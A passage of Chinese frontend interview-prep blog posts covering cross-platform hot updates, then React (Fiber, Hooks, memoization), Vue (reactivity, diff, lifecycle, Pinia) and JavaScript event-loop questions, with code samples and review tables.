需要小程序 + App + H5：选 uniapp / Taro
重交互、接近原生体验：选 React Native
高性能 UI、设计一致性：选 Flutter
团队技术栈是 React：React Native
团队技术栈是 Vue：uniapp

Q10: 跨端方案的热更新原理？⭐⭐⭐

答：

React Native 热更新：
1. 打包 JS Bundle（CodePush / 自建服务）
2. App 启动时检查版本
3. 下载新 Bundle 到本地
4. 重启加载新 Bundle

uniapp 热更新：
1. wgt 包（Widget 更新包）
2. 使用 plus.runtime.install 安装
3. 重启应用

Flutter 热更新（受限）：
1. Dart AOT 编译后无法直接热更新
2. 需要通过 Shorebird 等方案
3. 或者通过配置 + 服务端控制

// RN CodePush 热更新示例
import codePush from 'react-native-code-push';

const codePushOptions = {
  checkFrequency: codePush.CheckFrequency.ON_APP_RESUME,
  installMode: codePush.InstallMode.ON_NEXT_RESTART,
};

function App() {
  useEffect(() => {
    codePush.sync({
      updateDialog: true,
      installMode: codePush.InstallMode.IMMEDIATE,
    });
  }, []);
  
  return <MainApp />;
}

export default codePush(codePushOptions)(App);

复习卡片

知识点	关键记忆
RN 新架构	JSI 替代 Bridge，同步通信
Flutter 渲染	Skia 自绘，不依赖原生组件
uniapp 跨端	条件编译 + 运行时适配
FlatList	RN 长列表必须用，窗口化渲染
useNativeDriver	动画性能优化关键
Hermes	RN 引擎，减少启动时间
热更新	RN/uniapp 支持，Flutter 受限
选型	多端选 uniapp，性能选 Flutter，生态选 RN

[!TIP] 下一篇：前端构建工具面试题

涵盖 Webpack、Vite、Babel、Tree Shaking、HMR 等工程化核心知识点。

React 框架面试题（中高级）

Tue, 15 Sep 2026 07:00:00 GMT

[!NOTE] 本文包含 30+ 道 React 框架面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

React 基础

Q1: React 的核心思想是什么？⭐

答：

声明式编程：UI = f(state)，状态驱动视图
组件化：将 UI 拆分为独立、可复用的组件
单向数据流：数据从父组件流向子组件
虚拟 DOM：高效更新真实 DOM
跨平台：React Native、React DOM、React Canvas

// 声明式
function Counter({ initialCount }) {
  const [count, setCount] = useState(initialCount);
  
  return (
    <button onClick={() => setCount(count + 1)}>
      Count: {count}
    </button>
  );
}

// 命令式（jQuery 风格）
$('#btn').click(function() {
  count++;
  $('#count').text('Count: ' + count);
});

Q2: JSX 是什么？为什么要使用？⭐

答：

JSX 是 JavaScript 的语法扩展，允许在 JS 中编写 HTML 结构。

// JSX
const element = <h1 className="title">Hello, World!</h1>;

// 编译后
const element = React.createElement(
  'h1',
  { className: 'title' },
  'Hello, World!'
);

// 最终生成虚拟 DOM 对象
{
  type: 'h1',
  props: {
    className: 'title',
    children: 'Hello, World!'
  }
}

JSX 的优势：

结构清晰，接近 HTML
编译时检查，减少错误
性能更好（编译优化）

Fiber 架构

Q3: 什么是 Fiber？为什么需要 Fiber？⭐⭐⭐ 🔥

答：

Fiber 是 React 16 引入的新协调引擎，核心目标是增量渲染。

问题背景：

React 15 的 Stack Reconciler 是同步递归的
大组件树更新时会阻塞主线程，导致掉帧

Fiber 的解决方案：

React 15 (Stack Reconciler)     React 16+ (Fiber)
┌─────────────────────┐        ┌─────────────────────┐
│    同步递归更新      │        │   可中断的异步更新   │
│    (不可中断)       │        │   (时间切片)        │
│                     │        │                     │
│   ██████████████    │        │   ███ ███ ███ ███   │
│   (长时间阻塞)      │        │   (分片执行)        │
└─────────────────────┘        └─────────────────────┘

Fiber 节点结构：

const fiber = {
  // 节点类型
  type: 'div',
  key: null,
  
  // 链表结构
  return: parentFiber,    // 父节点
  child: firstChildFiber, // 第一个子节点
  sibling: nextFiber,     // 下一个兄弟节点
  
  // 状态
  pendingProps: {},       // 新 props
  memoizedProps: {},      // 上次 props
  memoizedState: {},      // 上次 state
  
  // 副作用
  flags: 0,               // 副作用标记（增删改）
  subtreeFlags: 0,        // 子树的副作用
  
  // 优先级
  lane: 0,                // 更新优先级
};

时间切片原理：

// 简化实现
function workLoop(deadline) {
  let shouldYield = false;
  
  while (nextUnitOfWork && !shouldYield) {
    nextUnitOfWork = performUnitOfWork(nextUnitOfWork);
    shouldYield = deadline.timeRemaining() < 1; // 剩余时间不足 1ms
  }
  
  if (!nextUnitOfWork && workInProgressRoot) {
    commitRoot(); // 提交阶段
  }
  
  requestIdleCallback(workLoop); // 继续调度
}

requestIdleCallback(workLoop);

Hooks

Q4: 常用 Hooks 有哪些？⭐ 🔥

答：

import {
  useState,      // 状态管理
  useEffect,     // 副作用
  useContext,    // 上下文
  useRef,        // DOM/变量引用
  useCallback,   // 函数缓存
  useMemo,       // 计算缓存
  useReducer,    // 复杂状态
  useLayoutEffect, // 同步副作用
  useImperativeHandle, // 暴露方法
} from 'react';

// 1. useState
const [count, setCount] = useState(0);
const [user, setUser] = useState({ name: '', age: 0 });

// 2. useEffect
useEffect(() => {
  // 副作用逻辑
  const timer = setInterval(() => {}, 1000);
  
  return () => {
    // 清理函数
    clearInterval(timer);
  };
}, [dependency]); // 依赖数组

// 3. useContext
const theme = useContext(ThemeContext);

// 4. useRef
const inputRef = useRef(null);
<input ref={inputRef} />;
inputRef.current.focus();

// 5. useCallback
const memoizedCallback = useCallback(() => {
  doSomething(a, b);
}, [a, b]);

// 6. useMemo
const memoizedValue = useMemo(() => computeExpensiveValue(a, b), [a, b]);

// 7. useReducer
const [state, dispatch] = useReducer(reducer, initialState);
dispatch({ type: 'increment' });

Q5: useEffect 和 useLayoutEffect 的区别？⭐⭐

答：

特性	`useEffect`	`useLayoutEffect`
执行时机	浏览器绘制后	DOM 更新后，绘制前
阻塞	异步，不阻塞	同步，阻塞绘制
使用场景	大多数副作用	需要读取/修改 DOM 布局

// useEffect：不阻塞渲染
useEffect(() => {
  console.log('useEffect'); // 绘制后执行
}, []);

// useLayoutEffect：阻塞渲染
useLayoutEffect(() => {
  console.log('useLayoutEffect'); // 绘制前执行
  // 适合需要同步测量的场景
  const rect = divRef.current.getBoundingClientRect();
}, []);

// 执行顺序
// render -> useLayoutEffect -> 浏览器绘制 -> useEffect

使用场景：

// useLayoutEffect：避免闪烁
function Tooltip({ target }) {
  const [position, setPosition] = useState({ top: 0, left: 0 });
  const tooltipRef = useRef(null);
  
  useLayoutEffect(() => {
    // 在绘制前计算位置，避免闪烁
    const rect = target.getBoundingClientRect();
    setPosition({
      top: rect.bottom + 8,
      left: rect.left
    });
  }, [target]);
  
  return <div ref={tooltipRef} style={position}>...</div>;
}

Q6: useCallback 和 useMemo 的区别？⭐⭐ 🔥

答：

// useCallback：缓存函数
const memoizedFn = useCallback(() => {
  doSomething(a, b);
}, [a, b]);

// useMemo：缓存计算结果
const memoizedValue = useMemo(() => computeExpensiveValue(a, b), [a, b]);

// 等价关系
useCallback(fn, deps) === useMemo(() => fn, deps)

使用场景：

// useCallback：避免子组件不必要的重渲染
const Parent = () => {
  const [count, setCount] = useState(0);
  
  // ❌ 每次渲染都创建新函数，子组件会重渲染
  const handleClick = () => console.log('clicked');
  
  // ✅ 缓存函数引用
  const handleClickMemo = useCallback(() => {
    console.log('clicked');
  }, []);
  
  return <Child onClick={handleClickMemo} />;
};

const Child = React.memo(({ onClick }) => {
  console.log('Child rendered');
  return <button onClick={onClick}>Click</button>;
});

// useMemo：缓存昂贵计算
const ExpensiveComponent = ({ items }) => {
  // ❌ 每次渲染都重新计算
  const sorted = items.sort((a, b) => a.price - b.price);
  
  // ✅ 只在 items 变化时计算
  const sortedMemo = useMemo(() => {
    return [...items].sort((a, b) => a.price - b.price);
  }, [items]);
  
  return <List items={sortedMemo} />;
};

Q7: useRef 的用途？⭐⭐

答：

// 1. 获取 DOM 元素
function InputFocus() {
  const inputRef = useRef(null);
  
  const focusInput = () => {
    inputRef.current.focus();
  };
  
  return (
    <>
      <input ref={inputRef} />
      <button onClick={focusInput}>Focus</button>
    </>
  );
}

// 2. 保存可变值（不触发重渲染）
function Timer() {
  const [count, setCount] = useState(0);
  const intervalRef = useRef(null);
  
  useEffect(() => {
    intervalRef.current = setInterval(() => {
      setCount(c => c + 1);
    }, 1000);
    
    return () => clearInterval(intervalRef.current);
  }, []);
  
  const stop = () => clearInterval(intervalRef.current);
  
  return <div>{count}</div>;
}

// 3. 保存上一次的值
function usePrevious(value) {
  const ref = useRef();
  
  useEffect(() => {
    ref.current = value;
  }, [value]);
  
  return ref.current;
}

// 使用
const prevCount = usePrevious(count);

组件设计

Q8: 受控组件和非受控组件？⭐⭐ 🔥

答：

类型	数据来源	更新方式
受控组件	React state	setState
非受控组件	DOM	ref

// 受控组件（推荐）
function ControlledForm() {
  const [value, setValue] = useState('');
  
  const handleChange = (e) => {
    setValue(e.target.value);
  };
  
  return (
    <input 
      value={value} 
      onChange={handleChange} 
    />
  );
}

// 非受控组件
function UncontrolledForm() {
  const inputRef = useRef(null);
  
  const handleSubmit = () => {
    console.log(inputRef.current.value);
  };
  
  return (
    <>
      <input ref={inputRef} defaultValue="" />
      <button onClick={handleSubmit}>Submit</button>
    </>
  );
}

Q9: React 组件通信方式？⭐⭐ 🔥

答：

// 1. props（父 -> 子）
<Child name="Tom" age={18} />

// 2. 回调函数（子 -> 父）
// 父组件
<Child onUpdate={(data) => setParentData(data)} />
// 子组件
props.onUpdate(newData);

// 3. Context（跨层级）
const ThemeContext = createContext('light');

function App() {
  return (
    <ThemeContext.Provider value="dark">
      <DeepChild />
    </ThemeContext.Provider>
  );
}

function DeepChild() {
  const theme = useContext(ThemeContext);
  return <div>{theme}</div>;
}

// 4. ref（父调子方法）
const childRef = useRef();
<Child ref={childRef} />
childRef.current.someMethod();

// 5. 状态管理库（Redux/Zustand/Jotai）
// 全局状态共享

Q10: React.memo、PureComponent 的区别？⭐⭐

答：

// React.memo：函数组件的浅比较优化
const MemoizedComponent = React.memo(function MyComponent(props) {
  console.log('rendered');
  return <div>{props.name}</div>;
});

// 自定义比较函数
const MemoizedWithCompare = React.memo(
  MyComponent,
  (prevProps, nextProps) => {
    return prevProps.id === nextProps.id; // true 不重渲染
  }
);

// PureComponent：类组件的浅比较优化
class MyComponent extends React.PureComponent {
  render() {
    return <div>{this.props.name}</div>;
  }
}

// 区别
// React.memo -> 函数组件
// PureComponent -> 类组件
// 都是浅比较 props（和 state）

状态管理

Q11: Redux 的工作原理？⭐⭐

答：

// Redux 三大原则
// 1. 单一数据源（Store）
// 2. State 只读（通过 Action 修改）
// 3. 纯函数修改（Reducer）

// 数据流
// View -> Action -> Reducer -> Store -> View

// Action
const increment = () => ({ type: 'INCREMENT' });

// Reducer
function counterReducer(state = { count: 0 }, action) {
  switch (action.type) {
    case 'INCREMENT':
      return { count: state.count + 1 };
    default:
      return state;
  }
}

// Store
const store = createStore(counterReducer);

// 使用
store.dispatch(increment());
store.subscribe(() => {
  console.log(store.getState());
});

Q12: Redux、MobX、Zustand 的区别？⭐⭐

答：

特性	Redux	MobX	Zustand
数据流	单向	双向	单向
学习曲线	陡峭	中等	简单
代码量	多	少	少
性能	好	好（细粒度）	好
TypeScript	支持	支持	优秀
体积	~7KB	~15KB	~1KB

// Zustand 示例（简洁）
import { create } from 'zustand';

const useCounterStore = create((set) => ({
  count: 0,
  increment: () => set((state) => ({ count: state.count + 1 })),
  reset: () => set({ count: 0 }),
}));

// 使用
function Counter() {
  const { count, increment } = useCounterStore();
  return <button onClick={increment}>{count}</button>;
}

性能优化

Q13: React 性能优化手段？⭐⭐ 🔥

答：

// 1. React.memo 避免不必要渲染
const Child = React.memo(({ data }) => {
  console.log('Child rendered');
  return <div>{data}</div>;
});

// 2. useCallback 缓存函数
const Parent = () => {
  const [count, setCount] = useState(0);
  
  const handleClick = useCallback(() => {
    console.log('clicked');
  }, []);
  
  return <Child onClick={handleClick} />;
};

// 3. useMemo 缓存计算
const ExpensiveList = ({ items }) => {
  const sortedItems = useMemo(() => {
    return [...items].sort((a, b) => a.value - b.value);
  }, [items]);
  
  return <List items={sortedItems} />;
};

// 4. 列表使用 key
{items.map(item => (
  <Item key={item.id} data={item} />
))}

// 5. 懒加载组件
const LazyComponent = React.lazy(() => import('./HeavyComponent'));

<Suspense fallback={<Loading />}>
  <LazyComponent />
</Suspense>

// 6. 虚拟列表（长列表）
import { FixedSizeList } from 'react-window';

<FixedSizeList
  height={400}
  itemCount={10000}
  itemSize={35}
>
  {({ index, style }) => (
    <div style={style}>Row {index}</div>
  )}
</FixedSizeList>

// 7. 避免内联对象/函数
// ❌ 每次渲染创建新对象
<Child style={{ color: 'red' }} onClick={() => {}} />

// ✅ 提取到外部或 useMemo
const style = useMemo(() => ({ color: 'red' }), []);
<Child style={style} />

// 8. 状态提升 vs 下沉
// 只在需要的组件维护状态，避免不必要的重渲染

复习卡片

知识点	关键记忆
Fiber	可中断渲染，时间切片，优先级调度
Hooks 规则	只能在顶层调用，只能在函数组件调用
useEffect	绘制后执行，异步不阻塞
useLayoutEffect	绘制前执行，同步阻塞
useCallback	缓存函数引用
useMemo	缓存计算结果
React.memo	浅比较优化函数组件
性能优化	memo + useCallback + 懒加载 + 虚拟列表

[!TIP] 下一篇：跨端框架面试题

涵盖 uniapp、React Native、Flutter 等跨端技术原理与对比。

Vue 框架面试题（中高级）

Tue, 15 Sep 2026 06:00:00 GMT

[!NOTE] 本文包含 30+ 道 Vue 框架面试题，涵盖 Vue2 和 Vue3，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

Vue 基础

Q1: Vue 的优缺点？⭐

答：

优点	说明
渐进式框架	可以逐步引入，不需要全家桶
双向数据绑定	v-model 简化表单处理
组件化	单文件组件 (SFC) 开发体验好
虚拟 DOM	性能优化，跨平台能力
生态丰富	Vue Router、Pinia、Nuxt 等
文档完善	中文文档友好

缺点	说明
灵活性高	大型项目需要规范约束
SEO 问题	SPA 需要 SSR 解决
首屏加载	需要优化手段

Q2: Vue2 和 Vue3 的区别？⭐⭐ 🔥

答：

特性	Vue2	Vue3
响应式	`Object.defineProperty`	`Proxy`
生命周期	`beforeCreate` 等	`setup` + `onMounted` 等
组合式 API	无（需 mixin）	`Composition API`
TypeScript	支持有限	原生支持
性能	较好	更快（编译优化）
包体积	~20KB	~10KB（Tree Shaking）
Fragment	不支持（单根）	支持多根节点
Teleport	不支持	内置支持
Suspense	不支持	内置支持

// Vue2 Options API
export default {
  data() {
    return { count: 0 };
  },
  methods: {
    increment() { this.count++; }
  },
  computed: {
    double() { return this.count * 2; }
  },
  mounted() {
    console.log('mounted');
  }
};

// Vue3 Composition API
import { ref, computed, onMounted } from 'vue';

export default {
  setup() {
    const count = ref(0);
    const double = computed(() => count.value * 2);
    
    function increment() {
      count.value++;
    }
    
    onMounted(() => {
      console.log('mounted');
    });
    
    return { count, double, increment };
  }
};

// Vue3 <script setup> 语法糖
<script setup>
import { ref, computed, onMounted } from 'vue';

const count = ref(0);
const double = computed(() => count.value * 2);
const increment = () => count.value++;

onMounted(() => console.log('mounted'));
</script>

响应式原理

Q3: Vue2 响应式原理？⭐⭐⭐ 🔥

答：

Vue2 使用 Object.defineProperty 实现数据劫持。

// 简化实现
function defineReactive(obj, key, val) {
  const dep = new Dep(); // 依赖管理器
  
  Object.defineProperty(obj, key, {
    enumerable: true,
    configurable: true,
    get() {
      if (Dep.target) {
        dep.addSub(Dep.target); // 依赖收集
      }
      return val;
    },
    set(newVal) {
      if (newVal === val) return;
      val = newVal;
      dep.notify(); // 派发更新
    }
  });
}

function observe(obj) {
  if (typeof obj !== 'object') return;
  
  Object.keys(obj).forEach(key => {
    defineReactive(obj, key, obj[key]);
    observe(obj[key]); // 递归监听
  });
}

流程图：

初始化 -> observe(data) -> defineReactive
                                |
    渲染 -> Watcher -> 读取数据 -> get 触发 -> 依赖收集
                                |
    修改数据 -> set 触发 -> dep.notify() -> Watcher.update() -> 重新渲染

Vue2 响应式的缺陷：

const obj = { a: 1 };
observe(obj);

// 1. 无法检测对象属性的添加/删除
obj.b = 2;           // 不是响应式
delete obj.a;        // 不是响应式

// 解决：Vue.set / Vue.delete
Vue.set(obj, 'b', 2);
Vue.delete(obj, 'a');

// 2. 无法检测数组索引修改和长度变化
arr[0] = 'new';      // 不是响应式
arr.length = 0;      // 不是响应式

// 解决：变异方法
arr.splice(0, 1, 'new');

Q4: Vue3 响应式原理？⭐⭐⭐ 🔥

答：

Vue3 使用 Proxy 替代 Object.defineProperty。

// 简化实现
function reactive(target) {
  return new Proxy(target, {
    get(target, key, receiver) {
      const result = Reflect.get(target, key, receiver);
      track(target, key); // 依赖收集
      
      // 惰性代理嵌套对象
      if (typeof result === 'object' && result !== null) {
        return reactive(result);
      }
      return result;
    },
    set(target, key, value, receiver) {
      const oldValue = target[key];
      const result = Reflect.set(target, key, value, receiver);
      
      if (oldValue !== value) {
        trigger(target, key); // 触发更新
      }
      return result;
    },
    deleteProperty(target, key) {
      const result = Reflect.deleteProperty(target, key);
      trigger(target, key);
      return result;
    }
  });
}

// ref 实现（基本类型）
function ref(value) {
  const wrapper = {
    get value() {
      track(wrapper, 'value');
      return value;
    },
    set value(newVal) {
      if (newVal !== value) {
        value = newVal;
        trigger(wrapper, 'value');
      }
    }
  };
  
  Object.defineProperty(wrapper, '__v_isRef', { value: true });
  return wrapper;
}

Vue3 响应式优势：

特性	Vue2	Vue3
对象新增/删除属性	不支持	支持
数组索引修改	不支持	支持
嵌套对象	初始化递归	惰性代理
Map/Set	不支持	支持
性能	初始化开销大	运行时开销小

Q5: ref 和 reactive 的区别？⭐⭐ 🔥

答：

特性	`ref`	`reactive`
类型	任意类型	对象/数组
访问方式	`.value`	直接访问
实现原理	getter/setter 包装	Proxy 代理
模板中使用	自动解包	直接使用

import { ref, reactive } from 'vue';

// ref
const count = ref(0);
count.value++; // 需要 .value
console.log(count.value); // 0

// reactive
const state = reactive({ count: 0 });
state.count++; // 直接访问
console.log(state.count); // 1

// 模板中使用（ref 自动解包）
// <div>{{ count }}</div>  不需要 .value

// reactive 的陷阱
const state = reactive({ list: [] });
state.list = [1, 2, 3];     // ✅ 可以
const { list } = state;      // ❌ 解构后失去响应式

// 解决：toRefs
import { toRefs } from 'vue';
const { list } = toRefs(state); // ✅ 保持响应式

虚拟 DOM 与 Diff

Q6: 什么是虚拟 DOM？⭐⭐ 🔥

答：

虚拟 DOM 是用 JavaScript 对象描述真实 DOM 的结构。

// 真实 DOM
<div id="app" class="container">
  <h1>Hello</h1>
  <p>World</p>
</div>

// 虚拟 DOM
const vnode = {
  tag: 'div',
  props: { id: 'app', class: 'container' },
  children: [
    { tag: 'h1', props: null, children: 'Hello' },
    { tag: 'p', props: null, children: 'World' }
  ]
};

虚拟 DOM 的优势：

性能优化：批量操作，减少真实 DOM 操作
跨平台：可渲染到 DOM、Canvas、Native
声明式编程：状态驱动视图

虚拟 DOM 不一定比直接操作 DOM 快，但提供了更好的开发体验和可维护性。

Q7: Vue 的 Diff 算法？⭐⭐⭐ 🔥

答：

Vue 采用双端对比策略（Vue2）和最长递增子序列（Vue3）。

Vue2 双端 Diff：

旧头 <---> 新头
旧尾 <---> 新尾
旧头 <---> 新尾
旧尾 <---> 新头

// 简化流程
function patch(oldVnode, newVnode) {
  // 1. 同层比较，不同层直接替换
  if (oldVnode.tag !== newVnode.tag) {
    replaceNode(oldVnode, newVnode);
    return;
  }
  
  // 2. 文本节点直接更新
  if (!newVnode.tag) {
    if (oldVnode.text !== newVnode.text) {
      oldVnode.elm.textContent = newVnode.text;
    }
    return;
  }
  
  // 3. 子节点 Diff
  diffChildren(oldVnode.children, newVnode.children);
}

function diffChildren(oldCh, newCh) {
  let oldStartIdx = 0, oldEndIdx = oldCh.length - 1;
  let newStartIdx = 0, newEndIdx = newCh.length - 1;
  
  while (oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx) {
    // 四种比较方式
    if (sameVnode(oldCh[oldStartIdx], newCh[newStartIdx])) {
      patch(oldCh[oldStartIdx++], newCh[newStartIdx++]);
    } else if (sameVnode(oldCh[oldEndIdx], newCh[newEndIdx])) {
      patch(oldCh[oldEndIdx--], newCh[newEndIdx--]);
    } else if (sameVnode(oldCh[oldStartIdx], newCh[newEndIdx])) {
      patch(oldCh[oldStartIdx++], newCh[newEndIdx--]);
    } else if (sameVnode(oldCh[oldEndIdx], newCh[newStartIdx])) {
      patch(oldCh[oldEndIdx--], newCh[newStartIdx++]);
    } else {
      // 使用 key 查找
      const idxInOld = findIdxInOld(oldCh, newCh[newStartIdx]);
      if (idxInOld === -1) {
        // 新节点，插入
        insertBefore(oldCh[oldStartIdx].elm, newCh[newStartIdx]);
      } else {
        // 移动节点
        moveNode(oldCh[idxInOld], newCh[newStartIdx]);
      }
      newStartIdx++;
    }
  }
}

key 的作用：

<!-- ❌ 不使用 key，可能导致就地复用 -->
<li v-for="item in list">{{ item.name }}</li>

<!-- ✅ 使用唯一 key，提高 Diff 效率 -->
<li v-for="item in list" :key="item.id">{{ item.name }}</li>

<!-- ❌ 使用 index 作为 key（列表会变化时） -->
<li v-for="(item, index) in list" :key="index">{{ item.name }}</li>

生命周期

Q8: Vue 生命周期有哪些？⭐ 🔥

答：

Vue2 生命周期：

beforeCreate -> created -> beforeMount -> mounted
      |            |            |            |
   实例初始化    数据观测完成   模板编译完成   DOM 挂载完成
      |
      v
beforeUpdate -> updated -> beforeDestroy -> destroyed
      |            |            |              |
   数据更新前    数据更新后    组件销毁前     组件销毁后

Vue3 生命周期（Composition API）：

Vue2	Vue3
`beforeCreate`	`setup()`
`created`	`setup()`
`beforeMount`	`onBeforeMount`
`mounted`	`onMounted`
`beforeUpdate`	`onBeforeUpdate`
`updated`	`onUpdated`
`beforeDestroy`	`onBeforeUnmount`
`destroyed`	`onUnmounted`

import { onMounted, onUpdated, onUnmounted } from 'vue';

export default {
  setup() {
    // 相当于 beforeCreate / created
    
    onMounted(() => {
      console.log('DOM 已挂载');
    });
    
    onUpdated(() => {
      console.log('组件已更新');
    });
    
    onUnmounted(() => {
      console.log('组件已卸载');
      // 清理定时器、事件监听等
    });
  }
};

Q9: 父子组件生命周期执行顺序？⭐⭐

答：

// 加载渲染过程
父 beforeCreate -> 父 created -> 父 beforeMount
  -> 子 beforeCreate -> 子 created -> 子 beforeMount -> 子 mounted
-> 父 mounted

// 更新过程
父 beforeUpdate -> 子 beforeUpdate -> 子 updated -> 父 updated

// 销毁过程
父 beforeDestroy -> 子 beforeDestroy -> 子 destroyed -> 父 destroyed

组件通信

Q10: Vue 组件通信方式有哪些？⭐⭐ 🔥

答：

方式	适用场景
`props` / `$emit`	父子组件
`v-model`	表单组件双向绑定
`ref` / `$refs`	父调子方法
`provide` / `inject`	跨层级传递
`$parent` / `$children`	直接访问
`$attrs` / `$listeners`	属性透传
`EventBus`	任意组件（Vue2）
`Vuex` / `Pinia`	全局状态管理
`mitt`	任意组件（Vue3）

// 1. props / emit（父子）
// 父组件
<Child :data="parentData" @update="handleUpdate" />
// 子组件
props: ['data'],
emits: ['update'],
this.$emit('update', newValue);

// 2. v-model
// 父组件
<Child v-model="value" />
// 子组件（Vue3）
props: ['modelValue'],
emits: ['update:modelValue'],
this.$emit('update:modelValue', newValue);

// 3. provide / inject（跨层级）
// 祖先组件
provide: {
  theme: 'dark'
}
// 后代组件
inject: ['theme']

// 4. EventBus（Vue2）
// bus.js
export const bus = new Vue();
// 发送
bus.$emit('event-name', data);
// 接收
bus.$on('event-name', callback);

// 5. mitt（Vue3）
import mitt from 'mitt';
const emitter = mitt();
emitter.emit('event', data);
emitter.on('event', callback);

状态管理

Q11: Vuex 和 Pinia 的区别？⭐⭐

答：

特性	Vuex	Pinia
TypeScript	支持一般	完美支持
Mutations	需要	不需要
模块化	modules	多个 store
体积	~10KB	~1KB
Vue3	需 4.x	原生支持
DevTools	支持	支持

// Vuex
const store = createStore({
  state: { count: 0 },
  mutations: {
    increment(state) { state.count++; }
  },
  actions: {
    asyncIncrement({ commit }) {
      setTimeout(() => commit('increment'), 100);
    }
  },
  getters: {
    double: state => state.count * 2
  }
});

// Pinia
import { defineStore } from 'pinia';

export const useCounterStore = defineStore('counter', {
  state: () => ({ count: 0 }),
  getters: {
    double: state => state.count * 2
  },
  actions: {
    increment() { this.count++; },
    asyncIncrement() {
      setTimeout(() => this.increment(), 100);
    }
  }
});

// 使用
const counter = useCounterStore();
counter.increment();
console.log(counter.double);

性能优化

Q12: Vue 性能优化手段？⭐⭐ 🔥

答：

// 1. v-if vs v-show
// v-if：真正销毁/创建，适合不频繁切换
// v-show：display: none，适合频繁切换
<div v-if="condition">很少切换</div>
<div v-show="condition">频繁切换</div>

// 2. v-for 和 v-if 不要同时使用
// ❌ 
<li v-for="item in list" v-if="item.active" :key="item.id">

// ✅ 使用 computed 过滤
computed: {
  activeList() {
    return this.list.filter(item => item.active);
  }
}
<li v-for="item in activeList" :key="item.id">

// 3. 列表使用 key
<li v-for="item in list" :key="item.id">{{ item.name }}</li>

// 4. 路由懒加载
const routes = [
  {
    path: '/user',
    component: () => import('./views/User.vue')
  }
];

// 5. 异步组件
const AsyncComponent = defineAsyncComponent(() =>
  import('./components/Heavy.vue')
);

// 6. Keep-alive 缓存
<keep-alive :include="['UserList', 'ArticleList']">
  <router-view />
</keep-alive>

// 7. 事件销毁
mounted() {
  window.addEventListener('resize', this.handleResize);
},
beforeUnmount() {
  window.removeEventListener('resize', this.handleResize);
}

// 8. 图片懒加载
<img v-lazy="imageUrl" />

// 9. 虚拟滚动（长列表）
<RecycleScroller
  :items="items"
  :item-size="50"
>
  <template #default="{ item }">
    <div>{{ item.name }}</div>
  </template>
</RecycleScroller>

// 10. 防抖节流
// 搜索框防抖
methods: {
  handleSearch: debounce(function(query) {
    this.fetchResults(query);
  }, 300)
}

Vue Router

Q13: Vue Router 的导航守卫？⭐⭐

答：

// 全局守卫
router.beforeEach((to, from, next) => {
  // 每次路由跳转前执行
  if (to.meta.requiresAuth && !isAuthenticated()) {
    next('/login');
  } else {
    next();
  }
});

router.afterEach((to, from) => {
  // 跳转完成后执行（不能改变导航）
  document.title = to.meta.title;
});

// 路由独享守卫
const routes = [
  {
    path: '/admin',
    component: Admin,
    beforeEnter: (to, from, next) => {
      // 进入该路由前执行
      next();
    }
  }
];

// 组件内守卫
export default {
  beforeRouteEnter(to, from, next) {
    // 进入组件前，无法访问 this
    next(vm => {
      // 通过 vm 访问组件实例
    });
  },
  beforeRouteUpdate(to, from, next) {
    // 路由参数变化时（如 /user/1 -> /user/2）
    next();
  },
  beforeRouteLeave(to, from, next) {
    // 离开组件前
    if (this.hasUnsavedChanges) {
      if (!confirm('确定离开？')) {
        next(false);
        return;
      }
    }
    next();
  }
};

复习卡片

知识点	关键记忆
Vue2 响应式	`Object.defineProperty`，无法监听新增/删除
Vue3 响应式	`Proxy`，惰性代理，支持 Map/Set
ref vs reactive	ref 需 `.value`，reactive 直接访问
虚拟 DOM	JS 对象描述 DOM，批量更新
Diff 算法	双端对比 + key 优化
生命周期	父 beforeCreate -> 子 mounted -> 父 mounted
组件通信	props/emit、v-model、provide/inject、Pinia
性能优化	v-if/v-show、key、懒加载、keep-alive

[!TIP] 下一篇：React 框架面试题

涵盖 React Fiber、Hooks、JSX、状态管理、性能优化等核心知识点。

JS 异步与事件循环面试题（中高级）

Tue, 15 Sep 2026 05:00:00 GMT

[!NOTE] 本文包含 20+ 道 JS 异步编程面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

事件循环 (Event Loop)

Q1: 什么是 Event Loop？⭐⭐ 🔥

答：

Event Loop 是 JavaScript 的执行机制，用于协调单线程与异步操作的关系。

┌─────────────────────────────────────┐
│           执行栈 (Call Stack)        │
└───────────────────┬─────────────────┘
                    │
                    ▼
┌─────────────────────────────────────┐
│      微任务队列 (Microtask Queue)    │
│  Promise.then/catch/finally        │
│  MutationObserver                  │
│  queueMicrotask()                  │
└───────────────────┬─────────────────┘
                    │ 微任务清空后
                    ▼
┌─────────────────────────────────────┐
│      宏任务队列 (Macrotask Queue)    │
│  setTimeout/setInterval            │
│  setImmediate (Node)               │
│  I/O、UI 渲染                       │
│  requestAnimationFrame             │
└─────────────────────────────────────┘

执行顺序：

执行同步代码（调用栈）
清空微任务队列
执行一个宏任务
重复步骤 2-3

Q2: 宏任务和微任务有哪些？⭐ 🔥

答：

类型	任务
微任务	`Promise.then/catch/finally`
	`MutationObserver`
	`queueMicrotask()`
	`process.nextTick` (Node，优先级更高)
宏任务	`setTimeout`
	`setInterval`
	`setImmediate` (Node)
	I/O 操作
	UI 渲染
	`MessageChannel`
	`postMessage`

console.log('1'); // 同步

setTimeout(() => {
  console.log('2'); // 宏任务
}, 0);

Promise.resolve().then(() => {
  console.log('3'); // 微任务
});

console.log('4'); // 同步

// 输出：1 4 3 2

Q3: 经典 Event Loop 输出题 ⭐⭐⭐ 🔥

// 题目 1
console.log('script start');

setTimeout(function() {
  console.log('setTimeout');
}, 0);

new Promise(function(resolve) {
  console.log('promise executor'); // 同步执行
  resolve();
}).then(function() {
  console.log('promise then');
});

console.log('script end');

// 输出顺序：
// script start
// promise executor
// script end
// promise then
// setTimeout

// 题目 2：嵌套 Promise
Promise.resolve().then(() => {
  console.log('then1');
  Promise.resolve().then(() => {
    console.log('then1-1');
  });
}).then(() => {
  console.log('then2');
});

// 输出：then1 -> then1-1 -> then2

// 题目 3：async/await 与 Promise
async function async1() {
  console.log('async1 start');
  await async2();
  console.log('async1 end');
}

async function async2() {
  console.log('async2');
}

console.log('script start');

setTimeout(function() {
  console.log('setTimeout');
}, 0);

async1();

new Promise(function(resolve) {
  console.log('promise1');
  resolve();
}).then(function() {
  console.log('promise2');
});

console.log('script end');

// 输出：
// script start
// async1 start
// async2
// promise1
// script end
// async1 end
// promise2
// setTimeout

